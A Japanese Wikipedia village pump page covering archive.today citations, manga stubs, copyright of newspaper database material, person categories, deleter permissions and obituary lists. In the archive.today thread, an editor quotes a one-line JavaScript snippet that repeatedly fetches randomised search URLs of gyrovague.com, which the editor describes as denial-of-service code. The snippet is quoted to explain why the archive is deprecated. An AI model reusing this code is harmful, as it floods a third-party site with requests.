Wikipedia:井戸端
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このページではウィキペディア日本語版について、運営、方針、新しいアイディアや作業の仕方、その他様々な事で質問や提案、議論、意見交換といった井戸端会議が行われます。
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archive.todayの使用について
イ・ウニを編集しようと思っているのですが、リンク切れになっておりアーカイブを自分で探したところarchive.todayしか見つかりませんでした。archive.todayはDDoS攻撃がどうこうということがあった気がして、使用していいのかがよく分かりません。--W8qazx (会話/履歴) 2026年5月18日 (月) 13:45 (UTC)
コメント 今のところ、Wikipedia日本語版では、https://archive.md/ (archive.today) はアーカイブページとして使えます。「Wikipedia:出典を明記する#ウェブサイトを出典とする場合」に則って、適切なアーカイブサイトを代替参照元とすることができます。注意点は、アーカイブサイトのコンテンツは元サイトのあくまでも「コピー」であるため、オリジナルのURLを記すこと( url= のパラメーターにアーカイブサイトのURLを記さず、アーカイブのもととなったオリジナルのURLを記載し、archive-url= にアーカイブサイトのURLを記すこと)と、「いつの時点でのアーカイブ」なのか明らかにすることです。- 例として、{{Citation}} 系の、{{Cite web}} を挙げます。記載事項は次のとおりです。
- url= (オリジナルのURL)
- archive-url= (archive.today のアーカイブURL)
- archive-date= (archive-url= で示されたURLの取得日)
- url-status= (url= がリンク切れの場合は、dead を記入。url= がオリジナルのまま参照できる場合は live と記す。なお url= の内容が差し替わった際は、unfit を指定する。この場合、url= の内容は展開されないため、URLは存在するが無効であることを周知できる)
- (url-status= のパラメーターが無く、archive-url= が指定された際は、url-status=dead が仮定される。)
- (このパラメーターが live だと url= が参照されるため、あらかじめ任意時点のアーカイブを archive-url= に記入できる。)
- url-status-date= (url-status= の確認日。「アーカイブサイトの閲覧日」はこちらに記入し、元の access-date= は日付を変更しないこと。YYYY-MM-DD 形式を強く推奨)
- access-date= (リンク切れでも元の値がない場合に限り、archive-url= のアクセス日。YYYY-MM-DD 形式を強く推奨)
なお、archive.today に特化したテンプレート {{archive.today}} ({{Wayback}} の archive.today 版)も利用できます。また、外部リンクを手打ちする際も、オリジナルのURL・アーカイブURL・アーカイブURLの取得日をセットで記述ください。ただ、英語版で発生したことは他の言語版でも起き得るので、なるべくそうした問題の受けにくいアーカイブサイトを使っておくのを勧めます。とりわけWeb魚拓 ( https://megalodon.jp ) を愛用する方に多いのが、オリジナルのURL・アーカイブ日の両方の未記載なので、これらの記載は忘れずに。
- ……と説明している私も、access-date= をアーカイブサイトの閲覧日に更新している例が多かったことから、改めて調べて自らの間違いに気づきました。学びは一生続きますね。--Licsak(会話) 2026年5月18日 (月) 21:34 (UTC)
- 議論はこれで、確かに日本語版では禁止する結論にはなっていないのでその意味では使えますが、問題ないという結論だったわけでもなく、個人的には利用を増やすのは抵抗を感じますね。他に資料がないと言われると悩ましいですが。。。--Yukida-R(会話) 2026年5月19日 (火) 11:01 (UTC)
コメント :Wikipedia:井戸端/subj/Archive.todayがDDoS攻撃を行っている件のもととなった、en:https://en.wikipedia.org/wiki/Wikipedia:Requests_for_comment/Archive.is_RFC_5を、自動翻訳でつらつら読んでみますと、en:https://en.wikipedia.org/wiki/Wikipedia:Requests_for_comment/Archive.is_RFC_5#WMF_noteでウィキメディア財団の方がコメントしているとおり、法的懸念はあるものの、財団をして積極的に動く段階にはまだなく、コミュニティメンバーにおいて法的懸念について慎重に議論してほしいというものがありました。賛成側としては、
- CAPTCHAページには[view-source:https://web.archive.org/web/20260205023230/https://archive.is/ 特定サイトへの攻撃コード]
- が残っておりウィキペディアを訪問する善意の第三者がこの攻撃に加担することとなり、当該ページへのリンクを持つウィキメディア財団は幇助として訴追されるおそれがある。
setInterval(function(){fetch("https://web.archive.org/web/20260205023230/https://gyrovague.com/?s="+Math.random().toString(36).substring(2,3+Math.random()*8),{ referrerPolicy:"no-referrer",mode:"no-cors" });},300);
- 結果として攻撃対象だったサイトは応戦状態のままにすることを余儀なくされた。(archive.org (2026-04-28))
- 有料購読者限定の記事のいわゆる「ペイウォール回避策」として濫用されている。
- Cloudflare の DNS を使うユーザーや、uBlock Origin、Pryvacy Badger のユーザーでクッキーを適切に許可設定にしていないユーザーはCAPTCHAページを何度試行しても突破できず、CAPTCHAページに留まるため、ずっと攻撃コードが動き続ける。
- があり、反対側(使用肯定派)には、
- すでに archive.today で収集されたページは膨大であり、かつ archive.com のような他のネットアーカイブは代替にならない。
- という意見でした。
- という意見でした。
- 風向きが変わったには、互いの暴露合戦で「archive.today の運営者が意図的にアーカイブを改竄している」という疑惑の指摘で、これによりコミュニティの議論者は archive.today を WP:RS だとみなさなくなったのが決定打になったと思います(en:Wikipedia:Requests_for_comment/Archive.is_RFC_5#Evidence of altering snapshots)。実際に示されたのは次の例です(さっそく archive.today の者が手を回して無効化したため、別の例を載せます)。
- 本来はどちらも同じ文面のはずですが、上の文面は、Nora [Surname] was a woman of ... というパラグラフの次にも、Nora had always been fascinated by ... と、同一人物が代名詞を使わずに出てきます。普通の英文であれば、次のパラグラフは、She had always fascinated by ... と、2回目以降は代名詞を使うのが当然の書き方であり、連続するパラグラフでファーストネーム / ファミリーネーム が出てくることは極めて稀です。そこで下の文の書き出しですが、最初のパラグラフは Jani Patokallio was a woman of ... で、次のパラグラフは、 Nora had always been fascinated by ... でした。つまるところ、もともとの投稿文はパラグラフごとに「別の人」を書いており、改竄者は「機械的に」冒頭の名前を入れ替えたため続くパラグラフで代名詞が使われなかった、という仮説です。こうなると、もはや水源地のどこかに投げ込まれた毒物による汚染と同じく、もはやその水源地の水はどこで汲んでも飲用に適さない( = archive.today はインターネットアーカイブサイトとしてもはや不適当)という結論に至ったようです。
- なお、投稿時点でen:Wikipedia:archive.today guidanceとして archive.today を推奨しないという各国語版は、フランス語版、韓国語版にも存在し、どちらの言語版でも archive.today にアクセスしないよう強く求めています。あわせて、どうしても参照する必要がある場合、攻撃対象のホストを コンピューターのホストPCとIPアドレスの対応表ファイル
hosts(拡張子なし)に、攻撃にさらされたサイトのIPアドレスを 0.0.0.0 と記載し、DNS を参照することなくサイトをアクセス不能にすることを推奨するほどです。 - おそらくWikipedia日本語版においても、同様の議論を経て、archive.today を非推奨とする措置が必要になるかも知れません。改めて議論を読んでみたら、事態はもっと深刻でした。以上、報告まで。--Licsak(会話) 2026年5月27日 (水) 11:00 (UTC)
- CAPTCHAページには[view-source:https://web.archive.org/web/20260205023230/https://archive.is/ 特定サイトへの攻撃コード]
「なかよし」系列原作の漫画作品のスタブ記事が乱立している
| このセクションは井戸端の外から読み込まれています。プロジェクト‐ノート:漫画雑誌#「なかよし」系列原作の漫画作品のスタブ記事が乱立しているをご覧ください。 |
特別:短いページを何百件か見回っていたところ、漫画雑誌なかよしおよびその系列雑誌で連載していた漫画作品のスタブ記事がやたら多いことに気づきました。どれも初版作成日が2010年頃に集中していること、他の漫画雑誌の作品では同様の事例が見られないことが、個人的に気になっています。どのような経緯で、こんな事態になっているのでしょうか?
--Cyatarow(会話) 2026年5月22日 (金) 13:40 (UTC)
議論場所をプロジェクト‐ノート:漫画雑誌へ移動させていただきました。なお、ノート:なかよしやプロジェクト‐ノート:漫画雑誌/少女漫画誌記事に置けるローカルルールの見直し提案が参考になるかもしれません。--Assemblykinematics(会話) 2026年5月22日 (金) 13:52 (UTC)- (コメント)プロジェクト‐ノート:漫画/可変IPによるなかよしの漫画記事の大量作成について案件で、濫造されたものが現在でも残っているからです。--柏尾菓子(会話) 2026年5月22日 (金) 14:05 (UTC)
- お返事ありがとうございます。どうやら削除依頼も一度出されていたようですが、依頼不備らしき理由で存続となっていました。
- ただ、もう16年も前の議論なので、もしかしたら今削除依頼をかけたらすんなり通るような気がします。--Cyatarow(会話) 2026年5月22日 (金) 14:09 (UTC)
- 本件の削除依頼は、近年(ここ5年)ではWikipedia:削除依頼/つかまえて!女組のひと、Wikipedia:削除依頼/しゃ・ぼ・ん・だ・ま、Wikipedia:削除依頼/かぼちゃ物語がありました。--柏尾菓子(会話) 2026年5月23日 (土) 02:26 (UTC)
- 現状でも何件か実施済みですが、とりあえず、定義文と書籍情報しか書かれていないサブスタブ状態の記事については見つけ次第、以下の通りリダイレクト化したいと思います。
- 漫画作者が1名だけで、かつその作者の記事がある場合:作者記事へ
- 漫画作者が1名だけだがその記事がない場合、もしくは作者が複数名いる場合:なかよし連載作品の一覧へ
- --Cyatarow(会話) 2026年5月25日 (月) 08:46 (UTC)
国立国会図書館ウェブサイトや朝日新聞クロスサーチの利用について
個人的で基礎的な質問で申し訳ございません。国立国会図書館デジタルコレクションの全文検索を通して手に入れた情報や、朝日新聞クロスサーチで取得した情報は、原著者や、新聞社に何の許可もなく、Wikipediaの記事の作成・修正に利用しても宜しいのでしょうか。 例えば国立国会図書館のサイトポリシーでは、特に利用を禁ずる文言は無いのですが、朝日新聞クロスサーチの利用規定では、文章の転載や、事前の許可のない編集・加工・送信・販売は禁じられています。その一方で、現行の著作権上は単なる事実(没年月日や逮捕・判決の日時)を表現したものには著作権が適用されないとされてもいます。 単なる訃報や判決の内容を記事に書く際、著作権についてどのように扱われるか、ご教示頂けたら有難いです。--Biáng(会話) 2026年5月24日 (日) 06:11 (UTC)
基本的に、文章の転載は複製権の侵害、許可を得ない編集・加工・送信・販売は同一性保持権・翻案権・公衆送信権・著作財産権などの侵害になる可能性があります。利用を禁ずる文言のあるなしに関わらず、著作物は保護されるべきでしょう。そのうえで、ケースバイケースではありますが、単なる訃報や判決の内容を記事に書く場合、たとえば、没年月日や逮捕・判決の日時を記載することは、よほど特殊な表現でない限り、表現がある程度一致しても大丈夫と思いますよ。「ライブドア裁判傍聴記事件:控訴審」判決では、一般論として「他の表現が想定できない場合や、表現が平凡かつありふれたものである場合は、記述者の個性が現れていないものとして、(日本国著作権法2条1項1号所定の)『創作的に表現したもの』であると解することはできない」とされました。ただし、ウィキペディア・プロジェクトは、誰でもその記載内容を二次利用できるとしていますから、過去の判例よりもかなり慎重に取り扱うべきとは思っています。結論としては、「国立国会図書館デジタルコレクションの全文検索」と「朝日新聞クロスサーチ」とで、取り扱う態度は変わらない・変えるべきではないと思います。「無断転載禁止などの文言がないから無断転載し放題」ということにはならないようです。--ねをなふみそね(会話) 2026年5月25日 (月) 03:19 (UTC)
情報 類似の議論として「Wikipedia:井戸端/subj/データベースサイトの出典利用はその利用規約に違反しないか?」があります。ご参考までに...。--Assemblykinematics(会話) 2026年5月25日 (月) 22:11 (UTC)
コメント なをなふみそねさんとほぼ同じ言葉になりますが、訃報については「〇月〇日 - ○○○○、日本の○○、○○(* 2019年?)」、伝記記事でも「○月〇日に死去。享年7。」のような単なる事実か、肩書を列挙する書き方がオーソドックスな現状、この書き方が合法である引用だと認められるものと考えられます。この訃報記事を例に挙げますが、訃報記事の大抵は肩書、斎場、簡単な伝記の様な構成で百科事典らしくない文体からもし無断転載をした場合それは明瞭でしょう。朝日新聞クロスサーチの『編集、加工』は記事を少しいじくって敬体から常体にしたり、記事の大半を残してそのまま書くような専ら転載と変わらない場合を想定していると思われます。判例についても、「裁判官は云々とし、誰かさんに対して懲役何百年、執行猶予何年の判決を下した。」の様な感情的、事務的な内容を取り除いた現行でのオーソドックスな書き方では特段問題ないかと考えます。--名立ゆき(会話) 2026年5月28日 (木) 15:20 (UTC)
著作権的なポイントについては、ねをなふみそね様や名立ゆき様からもコメントされていますが、二点コメント申し上げます。- Wikipediaにおける編集は、(1) 出典にある情報を元に自分の言葉で書く、(2) 引用の要件を守って一部引用する、のどちらかであるはずです。(1)で文章が良く似通ってしまっても、著作性のない文章であれば似ていても問題はありません。(2)についても引用の要件には自分の文章が主で引用される文章が従、必要最低限の文量のみ引用する、他の文章と区別を付ける、などの条件があります。これらに注意して編集していれば著作権的に問題はないと思われます。
- 一方で気になるのは、クロスサーチの利用規定に
- ⑨ 生成AI等(人工知能、大規模言語モデル、検索拡張生成、ロボット、ソフトウェア等を含みますが、これらに限りません)の学習や開発、解析、加工等の目的で利用すること — 朝日新聞クロスサーチ・フォーライブラリー 利用規定(2025年1月20日改定)
- とあることです。文献1では、Wikipediaの情報が生成AIの引用元や事前学習データとして利用されていると指摘されています。また文献2によりますと、Wikimedia財団の有料APIを利用するのであれば、AIの学習にWikipediaの情報を使用しても構わない模様です。編集者自身はWikipediaの記事の文章を作成することが目的のはずですが、結果的に生成AIに利用されてしまう状況がクロスサーチの利用規定に抵触するか否か、悩ましいところです。--Assemblykinematics(会話) 2026年5月28日 (木) 21:44 (UTC)
- 著作権の主体がどこかにあるかと言うことになります。記事の元となった朝日新聞社の記事、データーベースは朝日新聞社に著作権やデーターベースの利益が帰属するので、現行の法解釈がどうであれ生成AI等の大規模言語モデルのデータとして組み込まれることは著作権や経済的利益を理由にして結果的には望ましくないでしょう。ですが、wikipediaの記事の権利主体はデータ利用を実質許可しているwikimedia財団にあり、wikipediaの記事が朝日新聞の記事から創作性のある表現を排除した状態での引用を行っている場合『AIの学習目的でwikipediaに朝日新聞社が権利を所有する記事を利用した』とは見做せ辛いでしょう。wikimedia財団が許可しているだけであって、積極的にLLMのデータセットを作っていない現在、『wikipediaの拡充のために記事を使った』ことと『AI学習が目的でwikipediaの記事を媒介して使った』ことの違いが客観的に証明できないため、利用規定には抵触できないのではと考えます。同様の規約を設けている毎日新聞の毎索や読売新聞のヨミダスでも同様に考えます。喩えとしてですが、現状ウェブ上に存在するサイトのほぼ全てはAIのデータセットに組み込まれている可能性があり、仮に誰かが『AI学習禁止!』と銘打っている誰かの記事を引用して作った記事をネットに上げた場合、引用された側の人はそのような記事を片っ端からAI学習のために使われたと主張することが可能になってしまいます。そのような概念が破綻した状況を作ることは個人ならまだしも、法人が企図したり、想定することは難しいように思われます。--名立ゆき(会話) 2026年5月29日 (金) 03:57 (UTC)
”Category:実在の疑わしい人物“について
まずこの話題をここで提起することをお許し願いたい。一人のユーザーとしての疑問や意見を受け付けてくれる場所がどこなのか分からなかったので、この場を借りてお話させてもらうことにしました。
実在の疑わしい人物のカテゴリを読んでいて、猿飛佐助が含まれていないことに気づきました。これについてウィキペディアンの皆さんのお考えをお聞かせください。--~2026-31228-95 (会話) 2026年5月26日 (火) 04:23 (UTC)
- そのままカテゴリに入れたらいいと思います。実際他の方々の迷惑にはなってしまうかもしれませんが、もしその操作を疑う方がいたら差し戻しされるでしょう。--じゃがいもとポテト(会話)(投稿) 2026年5月26日 (火) 05:37 (UTC)
コメント Category:実在しない人物には、- 実在の人物ではない可能性があるが、確実とまではいえないものについてはCategory:実在の疑わしい人物へ。
- 創作作品の登場人物であることが明確なものについてはCategory:架空の人物へ。
- とあります。猿飛佐助についてはCategory:講談の人物などの架空の人物の下位カテゴリが設定されているため、Category:実在の疑わしい人物は不要であると考えます。--火乃狐(会話) 2026年5月26日 (火) 05:46 (UTC)
コメント Category:講談の人物には一休宗純、国定忠治、清水次郎長、宮本武蔵、大岡忠相など実在が確実な人物も多く含まれていることから、そもそもこのカテゴリをCategory:架空の人物の下位カテゴリとしていることに問題があると考えます。- これに関連して、Category:メディア別の架空の人物の下にはCategory:文学の登場人物、さらにCategory:小説の登場人物がありますが、その中のCategory:水滸伝の登場人物には宋江や高俅のような実在の人物が含まれています。その点、Category:三国志演義の登場人物は史書・三国志に現れる人物を除外することで架空の人物に絞っているという特徴があります。
- 「フィクションに登場するが、歴史上実在したことが確実な人物」の取り扱いについて、検討を重ねる必要があると思います。--こやまひろ(会話) 2026年5月26日 (火) 17:06 (UTC)
確かにカテゴリ構成には課題がありそうですね。ほかの言語版ではどうなっているのか気になりましたが、英語版では人物はen:Category:People(人間)、架空の人物はen:Category:Fictional characters(フィクションの登場人物)と全く関連性を持たない構成でした。日本語版で「人物」とひとくくりにしてしまうのは問題があるのかもしれません。--火乃狐(会話) 2026年5月27日 (水) 03:59 (UTC)
提案 実在の人物については、Category:メディア別の架空の人物以下のカテゴリをつけないことを提案します。根拠となるガイドラインはWikipedia:過剰なカテゴライズです。まず、実在の人物はその創作物によってはじめて世に出た訳ではないため、作品に登場することは主題を定義付ける特徴とは言いがたいです。また、実在の人物を題材とする作品には限りがなく、人物伝に際限なく大量のカテゴリが付与されることを招きかねません。
- マリー・アントワネットやルイ16世にCategory:ベルサイユのばらの登場人物が付与されていないのは当然ですが、実在の人物であるハンス・アクセル・フォン・フェルセンにこのカテゴリが付けられているのは問題だと思います。Category:水滸伝の登場人物やCategory:ダルタニャン物語の登場人物のうち実在の人物については、人物伝を直接カテゴリに入れるのではなく、関連項目などとして示すのが適切だと考えます。
- 今回問題となるCategory:講談の人物については、その定義の範囲が曖昧な点も問題です。講談の演目としては『太平記』『太閤記』『源平盛衰記』などもあり、さらに新作講談も存在する以上、実在の人物まで含むそれらの登場人物全てをカテゴライズするのは無理があります。収集対象を架空の人物に限定するのが無難だと思います。そのようにすれば講談の人物カテゴリが架空の人物の下位カテゴリとして適切に機能するようになり、猿飛佐助のカテゴリ移動も不要になると思います。なお、講談の人物は架空の人物カテゴリ直下ではなくCategory:メディア別の架空の人物の下位に移動するのが適切に思われます。--こやまひろ(会話) 2026年5月27日 (水) 12:52 (UTC)
- 実在の人物と、それをモデルにした創作上の人物の記事が分離されている場合の創作側(水戸黄門など)とか、創作上の人物としての特筆性が先にあって、そのモデルとして実在人物の特筆性が発生している場合(華雄やダルタニャン)などは、架空側のカテゴリを付けてもいいのではないでしょうか。--~2026-31664-54 (会話) 2026年5月27日 (水) 16:56 (UTC)
- 私の立場としては、実在の人物と架空の人物とは、たとえ前者が創作物を通じて知られるようになった人物である場合でも、両者の間には大きな隔たりがあると考えます。そのため、両者はカテゴリ運用のレベルで明確に区別されるべきだと思います。上記提案は、実在しない人物の範囲と「架空の人物」カテゴリの下位カテゴリが付与される範囲を一致させることでこの目的を達成しようとするものです。
- この立場を前提としたとしても、「講談の人物」などのカテゴリに実在の人物と架空の人物を混在させることについて必ずしも反対するわけではありません。ただ、実在の人物と架空の人物を両方含むカテゴリであるならば「架空の人物」カテゴリの下位カテゴリとするのはやめて、両者の区別のため架空の人物には「講談の人物」とは別に「架空の人物」カテゴリを付すのが適切だと考えます。--こやまひろ(会話) 2026年5月29日 (金) 14:09 (UTC)
- 実在の人物と、それをモデルにした創作上の人物の記事が分離されている場合の創作側(水戸黄門など)とか、創作上の人物としての特筆性が先にあって、そのモデルとして実在人物の特筆性が発生している場合(華雄やダルタニャン)などは、架空側のカテゴリを付けてもいいのではないでしょうか。--~2026-31664-54 (会話) 2026年5月27日 (水) 16:56 (UTC)
コメント そもそも猿飛佐助は学術的には完全に講談などでしか登場しない架空の人物とされているのではないでしょうか。一般人で実在したと思っておられる方は一定数いる可能性はありますがそれだけではCategory:実在の疑わしい人物に入れるのは適切ではないと思います。--Muyo(会話) 2026年5月27日 (水) 01:33 (UTC)
- (コメント)えーと、根本的な話としてカテゴリの運用方針を決めるならWikipedia‐ノート:カテゴリの方針でやるべきではないですか? そのためにあるんですから。--KAMUI(会話) 2026年5月30日 (土) 12:41 (UTC)
報告 プロジェクト‐ノート:カテゴリ関連/議論#Category:架空の人物の下位カテゴリの階層化についてにおいてCategory:講談の人物などCategory:架空の人物の下位カテゴリの階層化に関する提案を行いましたので議論に参加いただければ幸いです。--こやまひろ(会話) 2026年6月3日 (水) 15:59 (UTC)
招待:Wishlistの今後の方向性の提案に関する議論
コミュニティからのWishlistの今後に関する提案についての議論への参加に招待されました。これは、CommTechの解散、それに関連する人員削減、およびその後の議論に関連するものです。
English original: You are invited to participate in a discussion about a proposal on the future of the Wishlist from the community. This is in relation to the disbandment of CommTech, related layoffs, and the subsequent discussion. Femke(会話) 2026年5月26日 (火) 06:17 (UTC)
削除者権限の見直し
削除者に与えられた機能を削減する提案です。先日提起したWikipedia:井戸端/subj/削除者の運用見直しの続きで、削除者信任ルールを見直して削除者フラグ付与のハードルを下げることが目的です。先の提案でもお話した通り、「削除者を無制限に増やす意図はないものの、現在の削除者1桁人数体制が続くことは削除業務の円滑な処理を目指す上で好ましくない」という考えによります。今回はこの一環として機能削減に関して賛否の意見を募ります。機能削減を実施するにはシステム管理者へ申請を行う必要があり、議論の結果を分かりやすく示さなければなりません。このため、投票を実施しますのでよろしくお願いします。
なお、機能削減案と方針改訂案を同じ場所で同時に進行すると議論が散逸してまとまらなくなるため、今回のテーマは機能削減案のみとして、方針改訂案は後日Wikipedia‐ノート:削除者で集中的に詰めていく予定です。先日eien20さんから指摘があった自動退任規定の不備についても方針改訂時に対応します。--Marine-Bluetalk❃contribs❃mail 2026年5月27日 (水) 03:08 (UTC)
投票内容の確認
投票内容についての確認となります。Wikipedia:井戸端/subj/削除者の運用見直しにて、削除者信任のハードルを下げるにあたり、使用頻度が低かったり濫用のリスクが高い権限について、削除者から取り除くべきという意見が多数を占めていました。他の機能追加や削減については意見が分かれたため、今回は見送ろうと考えています。
2011年に削除者そのものを導入する議論の際、念のためという理由で余分に機能追加の選択肢を設けた結果、全部盛り込まれてしまった経緯があります。このため賛否の意見や追加の理由が曖昧で弱いものを投票の選択肢に入れるべきではないと考えております。
1.削除者に与えられた権限から以下の4つを取り除くことを投票で決める
- ipblock-exempt
- nuke
- unwatchedpages
- noratelimit
2.それ以外の機能追加・削減に関しては投票を実施せず現状維持とする
以下は解説です。
- 「IPブロック、自動ブロック、広域ブロックを回避」(ipblock-exempt)
- 濫用リスクの高い機能です。IPブロック適用除外フラグを個別付与すれば対応できることや、削除者になれる人を増やす目的にそぐわないと考えます。
- 「ページを一括削除」(nuke)
- 主に荒らしに類する投稿の処理で活用される機能です。削除者による使用例が少なく、強力な機能であるため取り除いて良いと考えます。
- 「ウォッチされていないページ一覧を閲覧」(unwatchedpages)
- 殆ど活用されておらず役に立たなかったことと、除去に対する反対意見がないため取り除いて良いと考えます。
- 「速度制限を受けない」(noratelimit)
- 短時間に大量の編集を行うなど、極めて限定的なシチュエーションでのみ活用されます。こちらも濫用リスクの高い機能です。
権限除去関係については賛否が曖昧だったので択を設けません。管理者による権限除去についても例えば万が一にもアカウントが乗っ取られ削除者フラグを使った荒らしが発生するなど緊急的な制止を必要とする最悪の事態となった場合はブロックすれば良く、慌てて権限を除去しなくても対応可能となります。もちろん、アカウント乗っ取りなどの事態が起こらないようにすべきですが、アクシデントの予防とアクシデント発生時の対応は全く別の話です。混同しないようにお願いします。
皆様にお願いしたいのは投票案がこれでよいかどうかの確認です。問題がなければこのまま投票ページを準備、不備があれば修正して再度確認をお願いするつもりです。投票資格はRFAを準用、日時はこのサブページの作成日時を起点にしようと考えております。--Marine-Bluetalk❃contribs❃mail 2026年5月27日 (水) 03:08 (UTC)
- 補足。難しいコメントはしなくて大丈夫です。このまま投票行けそうじゃね?って思ったらその旨を、いやもっと手直ししろって思ったらその旨をお伝えいただけると助かります。--Marine-Bluetalk❃contribs❃mail 2026年5月27日 (水) 17:41 (UTC)
コメント 内容はこれでいいと思います。システム管理者へ申請するための投票なので、合意が取れていると思われる案に絞るのがよいと考えられるためです。選択肢は案全体に対して賛成と反対の2択が良いかと思います。投票期間や申請基準は決めなくてよいですか?--プログラム(会話) 2026年5月27日 (水) 18:32 (UTC)- この時に述べたことと同じ感じなので私はこのまま投票にいってもいいと思います。あくまでここでは付いてる権限の見直しに絞ってるので投票の周りはまた後でという感じになるでしょう。 USSR-Slav (talk) 2026年5月28日 (木) 09:27 (UTC)
コメント お二方ともありがとうございます。システム管理者への申請を伴う投票はこれまで1週間だったものがほとんどなので、期間は1週間、準備完了時点で予告期間をスタートさせてその後投票期間移行で良いと思います。選択肢は全体に対する二択で、(A) 4つのグループ権限を全て除去するか、(B) 4つを全て残すか、いずれかを選ぶ形を想定しております。申請基準は過去の議論を調べても明確に定めていなかったのと、極端に拮抗するようであればシステム管理者が却下すると思うので、前例に倣うことにします。投票ページには議論のまとめを掲示して、投票の告知を見て初めてやってきた人でも投票の意図が分かるようにする予定です。--Marine-Bluetalk❃contribs❃mail 2026年5月28日 (木) 17:07 (UTC)- 除去提案されている権限について、投票に進むことに賛成します。
ただ、今更にはなってしまいますが、削除者のハードルを下げるにあたり権限を見直すという観点ですと、削除されたページの閲覧関係の権限(browsearchive, deletedhistory, deletedtext, deleterevision, deletelogentryあたり)の除去が権限付与に対するハードルを下げることになるのではないかと個人的には考えます。
記事や版の中には法的問題により削除されたものがあり、それらに関する閲覧権が付与されることが信任のハードルを上げている一因になっているのではないでしょうか? --春春眠眠 🗨️会話 2026年5月29日 (金) 05:38 (UTC)
コメント そこは提案前に調べたのですが、削除版の閲覧のみを制限することはシステム上対応が困難だと思われます。通常の削除に関しては削除と削除済み履歴の閲覧、削除版そのものの閲覧などを細かく切り分けることが可能なのですが、版やログの削除機能は削除と復帰、削除版の閲覧が一体化された権限となっているようです。通常の全削除しか対応できないようでは人数が増えても意味をなさないし、通常の削除版は閲覧不可能で版指定削除のみ削除版の閲覧を許可するというのも変な運用になります。このため今回の提案では触れなかった次第です。権限を切り分けるよう仕様変更の要望を出しても、即座に受理されて実装されるというのは考えづらいです。--Marine-Bluetalk❃contribs❃mail 2026年5月29日 (金) 17:08 (UTC)
投票ページの確認をお願いします
Wikipedia:井戸端/subj/削除者権限の見直し/投票に投票ページを作成しました。ページの内容に不備がないか確認いただけますと幸いです。便宜上6月4日スタートとしておりますが、投票内容の確認と修正に時間を要した場合は開始日時を遅らせる予定です。また、投票開始後にSitenoticeに以下の内容を掲示して広く意見を求める予定です。
[[Wikipedia:削除者]]の運用を見直すための投票を行なっています([[Wikipedia:井戸端/subj/削除者権限の見直し/投票|投票場所]])。
Sitenoticeの告知で一から十まで説明すると分かりづらいため、巻き戻し者のときの告知を流用する形で要点のみを簡潔に説明する形で周知します。--Marine-Bluetalk❃contribs❃mail 2026年6月2日 (火) 14:20 (UTC)
コメント 誤字があったため修正しました。ページの内容に不備はないと考えます。--プログラム(会話) 2026年6月3日 (水) 04:21 (UTC)
- 確認と修正ありがとうございます!--Marine-Bluetalk❃contribs❃mail 2026年6月3日 (水) 10:37 (UTC)
コメント Marine-Blueさん、既にWikipedia:お知らせやTemplate:意見募集中に投票が記載されておりますが、本日より投票が開始されたという認識でよろしいでしょうか?賛成の意見なので投票したいと考えております。--64Xpy(会話) 2026年6月4日 (木) 02:24 (UTC)
コメント 投票開始ということで大丈夫です。--Marine-Bluetalk❃contribs❃mail 2026年6月4日 (木) 02:31 (UTC)
返信 (Marine-Blueさん宛) ありがとうございます。投票してきます。--64Xpy(会話) 2026年6月4日 (木) 02:51 (UTC)
訃報に掲載する人物について
だいぶ前になりますが、訃報 2002年7月を編集するために朝日新聞クロスサーチを参考にした際に訃報記事があればその人の訃報を追加していきました。この際私は既に内容が充実している訃報 2025年3月を参考にして朝日新聞の身内ではない人物であるならばセンテナリアンや地方の町議会議員、特筆性が立証されていない企業の社長や取締役などを載せていきました。ですが、WP:IINFOに抵触しかねないとの指摘を頂きセンテナリアンなどについて内容を除去されました。ですが、もしWP:IINFOに抵触する場合、センテナリアンから無名のYoutuberまで訃報記事さえあれば掲載している状況にある2018年以降の訃報の一覧記事の内容も問題になりかねないのではと疑問を抱きました。そのため訃報の一覧記事に掲載する人物について、ある程度掲載することが妥当な範囲についての意見を知りたいです。センテナリアンや地方議員の扱い、またWikipediaで特筆性が立証されないであろう人物の扱いはどうなるのでしょうか。現に2025年前半の訃報記事については20万バイトにまで量が膨張しているものもあり、今の時点である程度範囲を決めておいた方がいいのではないかと思います。--名立ゆき(会話) 2026年6月1日 (月) 15:33 (UTC)
私も同じ疑問を持っていました。善意の第三者により編集除去されましたが、まだ独立記事のない辺野古沖抗議船転覆事故で死亡した船長の実名が事故当日の訃報に掲載されていた事実が知らされました。実名を載せる/載せないで揉めている人物であり、かつその人物の独立記事もない(執筆時点で合意された特筆性はない)人物が訃報に載るようなことは、あってはならないと思います。私個人の意見ですが、独立記事のまだない人物(赤リンクの人物)、または人物記事が立項されたばかりの人物については、訃報への掲載を不可にすることで合意しておかないと、取り返しのつかないことになりそうです。--Licsak(会話) 2026年6月1日 (月) 23:54 (UTC)
- (コメント)基本的には「既に立項されているか(海外の人物なら他言語版を含めて)」「立項されていないなら、将来的に立項が望めるか」はあると思います。少なくともjawpにおいて基本的には地方議員は立項対象ではありませんし、地方公務員(副市長とか助役とか収入役)の多くも同様。無名のYouTuberについては言うまでもないでしょう。それ以外についてはまた別個の判断が必要になるかと思います。
- なお、辺野古沖抗議船転覆事故で死亡した船長の名前が「訃報」に記載されたのは事故の数日後ですが、当該記事のノートで件の人物の実名記載について議論が始まったのは更に後ですので、記載された時点では「実名を載せる/載せないで揉めて」いたとは見なせません。そもそも抗議活動に関する複数の著作があってそれに関する講演なども行っていた人物なので「あってはならない」と断言するのは適切では無いです。載せた利用者は普通に人物記事などを立項して活動している方ですが、そのような書き方はまるで悪意があって載せたかのように受け取られかねません。--KAMUI(会話) 2026年6月2日 (火) 00:51 (UTC)
KAMUIさん 記載の人物の加筆時期の前後関係はご指摘のとおりでした。まずはご指摘に感謝申し上げます。ただ、赤リンクの人物であることは編集プレビューで解るはずですので、当該加筆はまったくの善意だとも私には受け取れません。当該人物は抗議活動に関する複数の著作があり、かつそれに関する講演なども行っていた人物でもありますが、ウィキペディアでの特筆性獲得時期がもし自身の操船する船舶による海難事故であるならば、それはフライングだとも言えます。もしそれ以前に当該人物に特筆性が獲得されていたならば既に当該人物の記事立項はなされていたはずですし、さらに記事ができた『後で』当該時期への訃報記事に加筆することはできるわけですから、人物記事が未立項の赤リンクのままぶち込むのは私はどうかと思います(事実、{{訃報}}のTemplate‐ノート:訃報#ルール変更提案にて、コメントは付かなかったものの18年前に赤リンクの人物掲載について疑義が上がっている)。ウィキペディアの訃報はニュース速報じゃないんですから、わざわざ赤リンクの人物を載せるのはどうなのかな? 